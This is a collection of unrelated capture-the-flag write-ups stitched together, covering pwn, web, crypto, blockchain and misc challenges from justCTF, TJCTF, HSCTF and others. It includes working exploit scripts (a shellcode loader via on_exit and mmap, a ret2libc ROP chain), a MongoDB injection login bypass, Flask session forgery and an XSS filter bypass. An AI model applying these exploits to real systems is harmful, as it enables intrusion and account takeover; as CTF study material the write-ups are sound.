However, the allowed IP address is still unknown. Looking at the source code, the user colour uses in each thread uses the first 6 characters of the hex value of SHA-256 of the IP address and thread ID concatenated together.
```erb<% user_color = Digest::SHA256.hexdigest(reply[2] + @id).slice(0, 6) %>```
In the above code, `reply[2]` is the IP address of the user who posted the reply, and `@id` is the thread ID.
Both of thread 1 and thread 2 have a reply from the admin, so the IP address can be found by brute forcing to find the IP address that produces the matching hashes for both threads.
```pythonfrom Crypto.Hash import SHA256from multiprocessing import Pooltarget = '32cae2'thread = 1def brute(a): for b in range(256): for c in range(256): for d in range(256): ip = f'{a}.{b}.{c}.{d}' x = ip + str(thread) h = SHA256.new(x.encode()).hexdigest()[:6] if h == target: print(f'{a}.{b}.{c}.{d}', flush=True)if __name__ == '__main__': with Pool(8) as p: p.map(brute, range(256))```
Putting everything together, the flag is:
```justCTF{1_th1nk_4l1ce_R4bb1t_m1ght_4_4_d0g}```
## Additional Notes
Rack Protection tracks user agent, and if the user agent is changed, the session cookie will be invalidated. Either the user agent must be spoofed, or the session cookie must be regenerated. |
[https://meashiri.github.io/ctf-writeups/posts/202305-tjctf/#squishy](https://meashiri.github.io/ctf-writeups/posts/202305-tjctf/#squishy)
TLDR; controlled plaintext attack on a RSA oracle with no-padding. |
# Challenge 02 : Dive into real life stuff - Blockchain && Challenge 03 : You have to be kidding me… - Blockchain && Challenge 04 : Now this is real life - Blockchain
This is a writeup for 3 challenges as they all were solved the same way.
## ChallengeWe were provided token contracts for the challenges 02 and 03 and no contract for challenge 04. In addition a uniswapv2 router & factory were deployed, as well as the 2nd token WMEL. The 2 tokens were deployed as a pair on the router. The goal was to bring the WMEL liquidity to less than 0.5. All the contracts can be found in the src folder.
## Solution
My solution was probably unintented. The developers "forgot" to restrict the transferFrom() function in the WMEL token:
```function transferFrom(address src, address dst, uint wad)publicreturns (bool){ require(balanceOf[src] >= wad); if (!(balanceOf[src] >= wad)) { revert(); }
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { // require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; }
balanceOf[src] -= wad; balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;}```
So you could just retrieve the address of the pair from the factory using getaPair() and the transfer all its WMEL liquidity to yourself, and the run sync to update the reserves. This worked for all 3 chals and yielded the flags:
Chal02: Hero{Th1s_1_w4s_3z_bro}Chal03: Hero{H0w_L0ng_D1d_1t_T4k3_U_?..lmao}Chal04: Hero{S0_Ur_4_r3AL_hUnT3r_WP_YMI!!!} |
## Tic Tac PWN!
was a pwn challenge from [justCTF 2023](https://ctftime.org/event/1930)
if was pretty tricky and did not have much solves.
Program was a sort of **Tic Tac Toe** game, implemented as a dynamic library `rpc_tictactoe.so` that can be called
by a "sort of" rpc server.
The challenge's creator gave us some examples on how to call the `rpc_tictactoe.so` functions:
```sh[debug] RPC readytictactoe:new_game 0 0 0 0 0 0tictactoe:computer_turn 0 0 0 0 0 0tictactoe:player_turn 1 1 0 0 0 0tictactoe:computer_turn 0 0 0 0 0 0tictactoe:player_turn 2 1 0 0 0 0tictactoe:computer_turn 0 0 0 0 0 0tictactoe:player_turn 2 2 0 0 0 0tictactoe:computer_turn 0 0 0 0 0 0tictactoe:player_turn 0 0 0 0 0 0tictactoe:computer_turn 0 0 0 0 0 0tictactoe:print 0 0 0 0 0 0[debug] finished rpc_tictactoe.so:new_game(0, 0, 0, 0, 0, 0) RPC[debug] finished rpc_tictactoe.so:computer_turn(0, 0, 0, 0, 0, 0) RPC[debug] finished rpc_tictactoe.so:player_turn(0x1, 0x1, 0, 0, 0, 0) RPC6[debug] finished rpc_tictactoe.so:computer_turn(0, 0, 0, 0, 0, 0) RPC[debug] finished rpc_tictactoe.so:player_turn(0x2, 0x1, 0, 0, 0, 0) RPC3[debug] finished rpc_tictactoe.so:computer_turn(0, 0, 0, 0, 0, 0) RPC[debug] finished rpc_tictactoe.so:player_turn(0x2, 0x2, 0, 0, 0, 0) RPC3[debug] finished rpc_tictactoe.so:computer_turn(0, 0, 0, 0, 0, 0) RPC[debug] finished rpc_tictactoe.so:player_turn(0, 0, 0, 0, 0, 0) RPC[debug] finished rpc_tictactoe.so:computer_turn(0, 0, 0, 0, 0, 0) RPC---O XOOXXO---[debug] finished rpc_tictactoe.so:print(0, 0, 0, 0, 0, 0) RPC
```
you can indicates the function name and its arguments to the rpc server, that will pass these commands to the dynamic library.
Let's have a look to the reverse of the main function:
### 1 - Main function of `rpc_server`
```cint main(int argc, const char **argv, const char **envp){ uint32_t arg1, arg2, arg3, arg4, arg5, arg6; int i; // [rsp+24h] [rbp-FCh] void *handle; // [rsp+28h] [rbp-F8h] char *colon_ptr; // [rsp+30h] [rbp-F0h] void *function_addr; // [rsp+38h] [rbp-E8h] char fname[80]; // [rsp+40h] [rbp-E0h] BYREF char file[136]; // [rsp+90h] [rbp-90h] BYREF uint64_t canary; // [rsp+118h] [rbp-8h]
canary = __readfsqword(0x28u); handle = 0LL; setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("[debug] RPC ready"); while ( (unsigned __int8)security_check() == 1 )// execute commands as long as security_check pass (no lower mem mappings found) { __isoc99_scanf(" %64[^ ]", fname); __isoc99_scanf("%u %u %u %u %u %u", &arg1, &arg2, &arg3, &arg4, &arg5, &arg6);// read 6 unsigned ints to args for ( i = 0; fname[i]; ++i ) { if ( (fname[i] <= '/' || fname[i] > 57) && (fname[i] <= 96 || fname[i] > 122) && fname[i] != 95 && fname[i] != 58 ) { fwrite("rpc service name or symbol name contains illegal characters\n", 1uLL, 0x3CuLL, stderr); exit(1); } } colon_ptr = strchr(fname, ':'); // find ":" separator if ( !colon_ptr ) { fwrite("missing rpc service name\n", 1uLL, 0x19uLL, stderr); exit(1); } *colon_ptr = 0; // set the separator to zero sprintf(file, "rpc_%s.so", fname); handle = dlopen(file, 1); function_addr = dlsym(handle, colon_ptr + 1); if ( colon_ptr[1] == '_' || !v12 ) { fprintf(stderr, "symbol not found: %s\n", colon_ptr + 1); exit(1); } ((void (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))function_addr)(arg1,arg2,arg3,arg4,arg5,arg6,0,0,0,0,0,0,0,0,0,0); printf( "[debug] finished %s:%s(%#x, %#x, %#x, %#x, %#x, %#x) RPC\n",file,colon_ptr+1,arg1,arg2,arg3,arg4,arg5,arg6); } fwrite("security error!\n", 1uLL, 0x10uLL, stderr); exit(1);}```
So the main loop basically takes commands as input in the format:
`library_name:function arg1 arg2 arg3 arg4 arg5 arg6`
in a while loop that run as long as the function `security_check()` returns 1
the dynamic library is opened with `dlopen` and the function address is retrieved with `dlsym`
we can pass up to 6 arguments that are unsigned int of 32 bits size.
The value returned by function, is not returned to us.
Let's have a look to the `security_check()` function:
```c__int64 security_check(){ uint64_t val1, val2; FILE *stream; // [rsp+18h] [rbp-418h] char s[1032]; // [rsp+20h] [rbp-410h] BYREF uint64_t canary; // [rsp+428h] [rbp-8h]
canary = __readfsqword(0x28u); stream = fopen("/proc/self/maps", "rb"); if ( !stream ) return 0LL; while ( fgets(s, 1024, stream) ) { __isoc99_sscanf(s, "%llx-%llx", &val1, &val2); if ( val1 <= 0xFFFFFFFF || val2 <= 0xFFFFFFFF )// check if there is a mapping in the low 32bit area (< 0x100000000) { fclose(stream); return 0LL; } } fclose(stream); return 1LL;}```
We can see that the `security_check()` function is here to forbid us to map a memory zone in the low 32 bits address space.
Which is logic as we can only pass 32 bits unsigned int as arguments to functions (and eventually to `mmap`)
### 2 - So What's the vulnerability ?
We checked the **Tic Tac Toe** game functions, and did not see anything exploitable in it...
but we quickly found that, as the dynamic library `rpc_tictactoe.so` import `libc`, we can also called `libc` functions directly.
for example:
```shnc tictac.nc.jctf.pro 1337[debug] RPC readytictactoe:putchar 65 0 0 0 0 0 A[debug] finished rpc_tictactoe.so:putchar(0x41, 0, 0, 0, 0, 0) RPC```
you can see that libc `putchar()` function has been executed, as we passed `65` as `arg1` which is the ascii code of "A", and a "A" if effectively printed..
so we can ignore the **Tic Tac Toe** game, and try to dump the flag directly by calling `libc` functions..
The main difficulty it that we can only pass 32 bits values to functions, and can not `mmap` memory in the low 32 bits addressable memory zone. The `rpc_server` binary is compiled with PIE, so it's addresses are unknown, and anyway not reachable by a 32 bits pointer..
Teammate **sampriti** has the idea that we could have code execution at exit by registering an `exit handler` with `on_exit()` function in the low memory zone, and then `mmap` a shellcode to the low memory zone, and when the `security_check()`will catch us at the next loop.. it will exits...and executes our shellcode so...
But a way of opening a file, and putting data into it was missing..
I finally find the way to do it by using `libc`function `tmpfile(void)`:
```shNAME tmpfile - create a temporary file
SYNOPSIS #include <stdio.h>
FILE *tmpfile(void);
DESCRIPTION The tmpfile() function opens a unique temporary file in binary read/write (w+b) mode. The file will be automatically deleted when it is closed or the program terminates.
RETURN VALUE The tmpfile() function returns a stream descriptor, or NULL if a unique filename cannot be generated or the unique file cannot be opened. In the latter case, errno is set to indicate the error.```
so it takes nothing in input (which is nice) , and it returns a `FILE *` stream descriptor, that will be linked to a file descriptor too, you can check it by watching in `/proc/pid/fd` after calling `tmpfile`.
That file descriptor number will be 3, as the 0,1,2 file descriptors are already allocated for `stdin`, `stdout` and `stderr`
next step was how to write in it ?
for that I used `splice` function, that copies data from one file descriptor to another. and particularly that works when one of them is a pipe (like `stdin` for us), as you can see in the man page:
```shNAME splice - splice data to/from a pipe
SYNOPSIS #define _GNU_SOURCE /* See feature_test_macros(7) */ #include <fcntl.h>
ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
DESCRIPTION splice() moves data between two file descriptors without copying between kernel address space and user address space. It transfers up to len bytes of data from the file descriptor fd_in to the file descriptor fd_out, where one of the file descriptors must refer to a pipe.
The following semantics apply for fd_in and off_in:
* If fd_in refers to a pipe, then off_in must be NULL.```
so we will read data from `stdin`to our temporary file with `splice`.
Now we have all we need..
### 3 - The exploit
```pythonfrom pwn import *context.update(arch="amd64", os="linux")context.log_level = 'info'
if args.REMOTE: p = remote('tictac.nc.jctf.pro', 1337)else: p = remote('127.0.0.1', 1337)
# simple shellcode that execute the readflag binary (that dump the flag)payload = asm('''loop: mov eax,59 lea rdi, text[rip] xor esi,esi xor edx,edx syscalltext: .ascii "/jailed/readflag"''')
# we create a temporary file (filedescriptor will be 3)p.sendlineafter('ready\n', 'tictactoe:tmpfile 0 0 0 0 0 0')# read data from fd 0 (stdin) to fd 3 (our temp file)p.sendlineafter('RPC\n', 'tictactoe:splice 0 0 3 0 '+str(len(payload))+' 0')# send data to be written in our temp filep.send(payload)# set execute shellcode at 0x10000 on exitp.sendlineafter('RPC\n', 'tictactoe:on_exit 65536 1 0 0 0 0')# mmap our temporary file to 0x10000 as rwx, that will exit after the mapping is executed as security_check will detect it# and while exiting, it will execute our shellcode registered with on_exit(addr) functionp.sendlineafter('RPC\n', 'tictactoe:mmap 65536 4096 7 17 3 0')p.interactive()```
well.... seeing is believing...

and that's all!
**nobodyisnobody still pwning..** |

It seems that the ciphertext is comparitively way shorter than the modulus and since e is just 3, taking the [cube root](https://www.dcode.fr/cube-root) of the ciphertext gives the message since the modulus is useless: `m^e mod n = c => m^e = c`


Flag: `tjctf{thr33s_4r3_s0_fun_fb23d5ed}` |
## MIT of the South
### CategoryWeb
### Points150
### DescriptionWelcome to UTD! We like to call ourselves the MIT of the South (not really). The flag for this challenge is hidden in one of the classrooms, can you find it?
### SolutionThe challenge's landing page is at `http://18.216.238.24:1004/webpage/files/dir/index.html`.
If we look at robots.txt, which typically hold a list of locations that web crawlers are allowed or disallowed to visit, we get the message:```Robots!?There are no robots here!Only Temoc, and his army of tobors!!```(robots.txt is located at `http://18.216.238.24:1004/webpage/files/dir/robots.txt`)
There are no robots, only tobors. So we need to go to tobors.txt at `http://18.216.238.24:1004/webpage/files/dir/tobors.txt`, where we get a list of locations to visit```/ad//ad/1.100//ad/1.101//ad/1.102//ad/1.103/...```
Using a webcrawler that checks every location until the string `texsaw` is found in the returned html document, we find that the classroom `/ecss/4.910/` contains the flag, which is ` texsaw{woo0OOo0oOo00o0OOOo0ooo0o00Osh}`.
(this is at `http://18.216.238.24:1004/webpage/files/dir/ecss/4.910/`)
### Flag` texsaw{woo0OOo0oOo00o0OOOo0ooo0o00Osh}` |
https://medium.com/@maora/ctf-challenge-writeup-bxmctf-2023-math-class-pwn2-abe23dd79629
CTF Challenge Writeup - BxMCTF 2023 -Math Class (Pwn2)
Binary Exploitation CTF Challenge |
# HSCTF-2023 challenge writeup
Category - WEB
## Chall 1 → th3-w3bsite
chall link - [https://th3-w3bsite.hsctf.com/](https://th3-w3bsite.hsctf.com/)
Description :
It's a really simple w3bsite. Nothing much else to say. Be careful though.
**Solution :**
By seeing the source code , we can able to get the flag .
**`Flag : flag{1434}`**
## Chall 2 → **an-inaccessible-admin-panel**
chall link - [https://login-web-challenge.hsctf.com/](https://login-web-challenge.hsctf.com/)
Description :
The Joker is on the loose again in Gotham City! Police have found a web application where the Joker had allegedly tampered with. This mysterious web application has login page, but it has been behaving abnormally lately. Some time ago, an admin panel was created, but unfortunately, the password was lost to time. Unless you can find it...
Can you prove that the Joker had tampered with the website?
Default login info: Username: default Password: password123
**Solution :**
By looking the source code , the webpage have login.js file for validating the login.
```jsxwindow.onload = function() { var loginForm = document.getElementById("loginForm"); loginForm.addEventListener("submit", function(event) { event.preventDefault(); var username = document.getElementById("username").value; var password = document.getElementById("password").value; function fii(num){ return num / 2 + fee(num); } function fee(num){ return foo(num * 5, square(num)); } function foo(x, y){ return x*x + y*y + 2*x*y; } function square(num){ return num * num; }
var key = [32421672.5, 160022555, 197009354, 184036413, 165791431.5, 110250050, 203747134.5, 106007665.5, 114618486.5, 1401872, 20702532.5, 1401872, 37896374, 133402552.5, 197009354, 197009354, 148937670, 114618486.5, 1401872, 20702532.5, 160022555, 97891284.5, 184036413, 106007665.5, 128504948, 232440576.5, 4648358, 1401872, 58522542.5, 171714872, 190440057.5, 114618486.5, 197009354, 1401872, 55890618, 128504948, 114618486.5, 1401872, 26071270.5, 190440057.5, 197009354, 97891284.5, 101888885, 148937670, 133402552.5, 190440057.5, 128504948, 114618486.5, 110250050, 1401872, 44036535.5, 184036413, 110250050, 114618486.5, 184036413, 4648358, 1401872, 20702532.5, 160022555, 110250050, 1401872, 26071270.5, 210656255, 114618486.5, 184036413, 232440576.5, 197009354, 128504948, 133402552.5, 160022555, 123743427.5, 1401872, 21958629, 114618486.5, 106007665.5, 165791431.5, 154405530.5, 114618486.5, 190440057.5, 1401872, 23271009.5, 128504948, 97891284.5, 165791431.5, 190440057.5, 1572532.5, 1572532.5];
function validatePassword(password){ var encryption = password.split('').map(function(char) { return char.charCodeAt(0); }); var checker = []; for (var i = 0; i < encryption.length; i++) { var a = encryption[i]; var b = fii(a); checker.push(b); } console.log(checker); if (key.length !== checker.length) { return false; } for (var i = 0; i < key.length; i++) { if (key[i] !== checker[i]) { return false; } } return true; }
if (username === "Admin" && validatePassword(password)) { alert("Login successful. Redirecting to admin panel..."); window.location.href = "admin_panel.html"; } else if (username === "default" && password === "password123") { var websiteNames = ["Google", "YouTube", "Minecraft", "Discord", "Twitter"]; var websiteURLs = ["https://www.google.com", "https://www.youtube.com", "https://www.minecraft.net", "https://www.discord.com", "https://www.twitter.com"]; var randomNum = Math.floor(Math.random() * websiteNames.length); alert("Login successful. Redirecting to " + websiteNames[randomNum] + "..."); window.location.href = websiteURLs[randomNum]; } else { alert("Invalid credentials. Please try again."); } }); };```
So, what actually happening here was, if the username is equals to Admin and the given password is encrypted using above validatepassword() function. We have to reverse this process for the key[] array to find a password !!. I decided to encrypt all the printable characters using this above logic and match with the key array to find a original key!!.
Here is the script to find a key .
```pythonimport string
def fii(num): return num / 2 + fee(num);
def fee(num): return foo(num * 5, square(num));
def foo(x, y): return x * x + y * y + 2 * x * y;
def square(num): return num * num;
key = [32421672.5, 160022555, 197009354, 184036413, 165791431.5, 110250050, 203747134.5, 106007665.5, 114618486.5, 1401872, 20702532.5, 1401872, 37896374, 133402552.5, 197009354, 197009354, 148937670, 114618486.5, 1401872, 20702532.5, 160022555, 97891284.5, 184036413, 106007665.5, 128504948, 232440576.5, 4648358, 1401872, 58522542.5, 171714872, 190440057.5, 114618486.5, 197009354, 1401872, 55890618, 128504948, 114618486.5, 1401872, 26071270.5, 190440057.5, 197009354, 97891284.5, 101888885, 148937670, 133402552.5, 190440057.5, 128504948, 114618486.5, 110250050, 1401872, 44036535.5, 184036413, 110250050, 114618486.5, 184036413, 4648358, 1401872, 20702532.5, 160022555, 110250050, 1401872, 26071270.5, 210656255, 114618486.5, 184036413, 232440576.5, 197009354, 128504948, 133402552.5, 160022555, 123743427.5, 1401872, 21958629, 114618486.5, 106007665.5, 165791431.5, 154405530.5, 114618486.5, 190440057.5, 1401872, 23271009.5, 128504948, 97891284.5, 165791431.5, 190440057.5, 1572532.5, 1572532.5]
def vaildatepassword(password):
dec = []
for i in key: for j in string.printable:
k = i a = ord(j)
b = fii(a) if b == k: print(chr(a), end="")
dec.append(b)
# return enc
vaildatepassword("flag")```
Here is the decrypted key :
`Introduce A Little Anarchy, Upset The Established Order, And Everything Becomes Chaos!!`
Using this key , we can able to login and redirected to admin_panel.html
`Flag : flag{Admin , Introduce A Little Anarchy, Upset The Established Order, And Everything Becomes Chaos!!}`
## Chall 3 → **mogodb**
link - [http://mogodb.hsctf.com/](http://mogodb.hsctf.com/)
Description :
The web-scale DB of the future!
**Solution:**
They gave the source code for the challenge , on inspecting [main.py](http://main.py) it has some routes to login and register .
```[email protected]("/", methods=["POST"])def login(): if "user" not in request.form: return redirect(url_for("main", error="user not provided")) if "password" not in request.form: return redirect(url_for("main", error="password not provided")) try: user = db.users.find_one( { "$where": f"this.user === '{request.form['user']}' && this.password === '{request.form['password']}'" } ) except pymongo.errors.PyMongoError: traceback.print_exc() return redirect(url_for("main", error="database error")) if user is None: return redirect(url_for("main", error="invalid credentials")) session["user"] = user["user"] session["admin"] = user["admin"] return redirect(url_for("home"))```
We can see here , the user input directly appends into the query inside single quotes.SQLi !!!
Here is the payload to bypass the authentication .
`user=admin&password='+||+'1'=='1`
Bypassed !!
`Flag : flag{easier_than_picture_lab_at_least}`
## Chall 4 - **very-secure**
link - [http://very-secure.hsctf.com/](http://very-secure.hsctf.com/)
Description :
this website is obviously 100% secure
**Solution:**
They gave the source code for this challenge .
```pythonfrom flask import Flask, render_template, sessionimport osapp = Flask(__name__)SECRET_KEY = os.urandom(2)app.config['SECRET_KEY'] = SECRET_KEYFLAG = open("flag.txt", "r").read()
@app.route('/')def home(): return render_template('index.html')
@app.route('/flag')def get_flag(): if "name" not in session: session['name'] = "user" is_admin = session['name'] == "admin" return render_template("flag.html", flag=FLAG, admin = is_admin)
if __name__ == '__main__': app.run()```
on inspecting the [app.py](http://app.py) , we can see the SECRET_KEY is the random of length 2 bytes!!
So , we can able to bruteforce the SECRET_KEY easily!!
For that we have to generate the random bytes length of 300.
```pythonf= open("bytes.txt",'a+')for i in range(300): for j in range(300): f.write(f'{chr(i)}{chr(j)}\n')```
Using flask-unsign we can able to bruteforce the secret_key
```pythonflask-unsign --wordlist ~/Desktop/bytes.txt --unsign --cookie 'eyJuYW1lIjoidXNlciJ9.ZH7Xnw.QP8s7mNoNvwInGLDBN3fgw46Zuk' --no-literal-eval[*] Session decodes to: {'name': 'user'}[*] Starting brute-forcer with 8 threads..[+] Found secret key after 34816 attemptsb'p6'```
‘p6’ is the secret key used!!.
Now , we have to sign the token using this secretkey
```pythonflask-unsign --sign --cookie "{'name': 'admin'}" --secret 'p6'
eyJuYW1lIjoiYWRtaW4ifQ.ZH7d-w.YF2iU4MpkmE9CXkCE8lIGenZ_Pc```
So using this token , we can able to get the flag !!.
## Chall 5 →**fancy-page**
link : [http://fancy-page.hsctf.com/](http://fancy-page.hsctf.com/)
Description : hmmm
**Solution:**
In this webpage , we can able to create a content and send that content to the admin bot.
So, if we popup XSS , we can able to steal any info from the admin bot!!.
They gave the source code of the challenge.
```jsximport { default as Arg } from "https://cdn.jsdelivr.net/npm/@vunamhung/[email protected]/+esm";
function sanitize(content) { return content.replace(/script|on|iframe|object|embed|cookie/gi, "");}
let title = document.getElementById("title");let content = document.getElementById("content");
function display() { title.textContent = Arg("title"); document.title = Arg("title");
let sanitized = sanitize(Arg("content")); content.innerHTML = sanitized;
document.body.style.backgroundColor = Arg("background_color"); document.body.style.color = Arg("color"); document.body.style.fontFamily = Arg("font"); content.style.fontSize = Arg("font_size") + "px";}
display();```
On inspecting the display.js , it replaces the script,on,iframe,object,embed,cookie elements to “”.
so, what if we give the input like scrscriptipt. It removes the script string inside that string and it became again script !!.
So, the actual payload is
```jsx```
submit the created content url to the bot server.!!
Here is the flag :`flag{filter_fail}` |
# Return-to-libc/ret2libc -64bit ELF ASLR - HTB Cyber Apocalypse 2023 CTF Pandora's box
## This is my writeup for the "Pandora's Box" challange from HTB Cyber Apocalypse 2023 CTF.
### Consider giving this a star if you found it helpfull
After downloading the pb file we run the ```file ./pb``` command wich gives the folowing output:

We can see that the pb file is a 64 bit elf file.
if we run checksec we can see that NX is enabled so no stack execution.
if we analyze the file in ghidra we can see that the main function calls 4 other functions, setup(), cls(), banner() and box. Most of them are not intresting but the box function is.

The Box function contains a vulnarble fgets() fucntion. but we have to make sure the first input we give it is '2'. If we run the program we also see that if we choose option 2 it asks us for a input.
If we input some random characters the program wil send a message and shut down. If we give the program an input of A's, thats really long we get an error and the program exits. This is the vulnarble fgets()

When we run a obj dump (```objdump ./pb -d```). we can see that the program contains no obvious win function. It does contain a box() function. So no re2win challange. but by looking at the functions in ghidra we know the program uses some functions from libc like puts(), prinf(), read() and more. So this looks like a ret2libc challange. Also it ask us for a location in the "library" so...
If we open the program in gdb we can get a better look at what is going on inside. ```gdb ./pb``` (Note: I am using geff extention for gdb). We know the second input is vulnarble so i create a cyclic pattern wiht gbd (```pattern create```) and use that to find the offset. If we copy and paste the cyclic pattern in the input end press enter tho program overflows and we can find our offset by searching fot the first 4 characters of the rsp register. (```pattern search haaa```)
Because the file is a 64 bit elf the RIP address has to be a 48 bit canonical address wich means the address has to be in the range ```0x0000000000000000``` to ```0x00007FFFFFFFFFFF``` and ```0xFFFF800000000000``` to ```0xFFFFFFFFFFFFFFFF```. otherwise the address wont be able to clutter the RIP. If we input a bunch of A's we are overwriting the rip with a non-canonical address. If we however run the program with 56 A's (offset) and add a 6 bytes canonial address of 6 B's ```0x0000424242424242``` to the end we can see we can control the RIP.
The ret-to-libc technique is similar to the standard stack overflow attack with one important distinction: instead of overwriting the return address of the vulnerable function with the address of the shellcode, the return address is going to point to a function in the libc library like system(), so we can execute shell code that is stored in the regestry as arguments.
before we can point to system its important to know if ASLR (Address Space Layout Randomisation) is enabled. For that we can run the ```ldd ./pb``` function twice and compare the address of libc. When we do this we can see that the adress dont match so ASLR is enabled and this means we have to leak the adress of libc first before we can find system() in libc.

to leak the adress we first need to find out the adress of a libc function in both the GOT and the PLT, we can use ghidra for this part again. With ghidra we can select the .got and .plt sections in the program trees. Here we have to find the addresses of a libc funciton in both. In this case I used puts().

after that we we need to find a "pop rdi, ret" gadget adress with ```ropper -f ./pb | grep rdi```and combine this with the adress of got and plt puts() to leak the addres of puts() in libc and from there we can caluclate the base adress of libc. I made a python script to do this using pwntools.
```from pwn import *from time import sleepimport sys
r =gdb.debug('./pb', '''
c''')
r = remote(IP, PORT)exe = './pb'elf = context.binary = ELF(exe, checksec=False)context.log_level = 'debug'rop = ROP(elf)
rop.raw("A" * 56) # padddingrop.raw(0x000000000040142b) # pop rdirop.raw(0x00403fa0) # got_putrop.raw(0x00401030) # plt_putrop.raw(0x0000000000401016) #ret for stack aligmentrop.raw(0x00000000004013be) #adress in main that does not result in SIGEV
#wait for first read and select option 2r.recvuntil(b">>") r.sendline(b'2')#wait for second read and send payloadr.recvuntil(b'Insert location of the library: ')r.sendline(rop.chain())#reading unimportant bytesr.recvuntil(b'!\x0a\x0a')#reading leaked address leak = unpack(r.recv()[:6].ljust(8, b"\x00"))
print("Leaked puts:" + str(hex(leak)))
```The payload consist of a padding, then the pop rdi gadget, adress of puts in got, adress of plt in puts, a ret gadget wich is just a ret instruction to do some stack alligments and not get SIGBUS or SIGEV (```ropper -f ./pb | grep ret```) and lastly an adress in main. I used the call to box() adress in main because returining to main directly seem to result in stack alligment issues. we can find this adress by using ```objdump ./pb -d``` and looking for the main function.

After that sending the payload the code returns a lot of bytes most of them being the banner of box() but the last few bytes are the adress of puts() in libc. now we cam just calculate the base adress of libc.
we can do this by finding the offset of puts() in the ./glibc/libc.so.6. while we are finding these ofsets we also need to find the offset of system and a shellcommand so we can use that as argument for system().
we can find the offsets with ```objdump ./glibc/libc.so.6 -d | grep puts``` and ```objdump ./glibc/libc.so.6 -d | grep system```

the addres off the ```/bin/sh``` we can find by using ```strings -a -t x ./glibc/libc.so.6 |grep /bin/sh```
from there we just have to calculate the base adress, create our rop chain and retrive a shell.
Here is the rest of the python script using pwn tools to handle the program localy or remotly.
```
from pwn import *from time import sleepimport sys
# IP = '104.248.169.117' # PORT = 31796#r = remote(IP, PORT)
r =gdb.debug('./pb', '''
c''')
exe = './pb'elf = context.binary = ELF(exe, checksec=False)context.log_level = 'debug'rop = ROP(elf)
rop.raw("A" * 56) # padddingrop.raw(0x000000000040142b) # pop rdirop.raw(0x00403fa0) # got_putrop.raw(0x00401030) # plt_putrop.raw(0x0000000000401016) #ret for stack aligmentrop.raw(0x00000000004013be) #adress in main that does not result in SIGEV
#wait for first read and select option 2r.recvuntil(b">>") r.sendline(b'2')#wait for second read and send payloadr.recvuntil(b'Insert location of the library: ')r.sendline(rop.chain())#reading unimportant bytesr.recvuntil(b'!\x0a\x0a')#reading leaked address leak = unpack(r.recv()[:6].ljust(8, b"\x00"))
print("Leaked puts:" + str(hex(leak)))rop2 = ROP(elf)# second part - use leaked address to preform ret2libclibc_puts = 0x080ed0 libc_sys = 0x050d60libc_sh = 0x1d8698
offset = leak - libc_putssys = offset + libc_syssh = offset + libc_sh
log.info("Going again:\n")rop2.raw("A" * 56)rop2.raw(0x000000000040142b) #pop rdirop2.raw(sh) # addres of bin/shrop2.raw(0x0000000000401016) #ret stack alligmentrop2.raw(sys)# adress of system
#selecting option 2r.send(b'2')r.recvuntil(b'Insert location of the library: ')#sending payloadr.sendline(rop2.chain())#SHELL!r.interactive()
```
I hope this helped you out,Thanks for reading, Suggestions & Feedback are appreciated ! |
# Wild Stocks
## Misc
## Description
We think we are going to hire that Bingus Guy. His trading habits seem a bit off though.
https://www.linkedin.com/in/bingus-quatuam-666704231/
-----
## Solution Steps
Pretty straightforward. I know why some people were bothered by this, but honestly it wasn't hard. You just had to go through.
It was fun, straightforward, and involved critical thinking (albeit, not much, in my opinion).
It's clear from Bingus's profile that he was throwing stocks around. Wonder why?
Well if you check for these stocks and their ticker symbols, you'll find out:
I noticed his posts he kept mentioning stocks during New Hire, actually. First post mentioned Ryder and Sentinel One, RS. Flags start with RS here so...
Second Post: Sea Ltd (SE) CitiGroup (C)
That's RS{SEC so far...
Third post: United Rentals (URI), Tri-Continental Corp (TY)
Fourth post: ASA Gold(ASA) and Sea Ltd (SE)
Fifth post: Ryder Systems again (R) and AdvisorShares Vice ETF(VICE)
Flag: RS{SECURITYASASERVICE}
|

There is a zip file hidden in the image.

It requires a password. Doing strings reveal a possilbe password.


Flag: `tjctf{the_end_is_not_the_end_4c261b91}` |
The given audio file was just a audio morse code which can put inside [a online decoder](https://databorder.com/transfer/morse-sound-receiver/) to get the flag.

Flag: `tjctf{thisisallonewordlmao}` |


Flag: `tjctf{26104478854569770948763268629079094351020764258425704346666185171631094713742516526074910325202612575130356252792856014835908436517926646322189289728462011794148513926930343382081388714077889318297349665740061482743137948635476088264751212120906948450722431680198753238856720828205708702161666784517}` |

Nothing interesting in the website. But there is something interesting in the source.


Flag: `tjctf{pretty_canvas_577f7045}` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.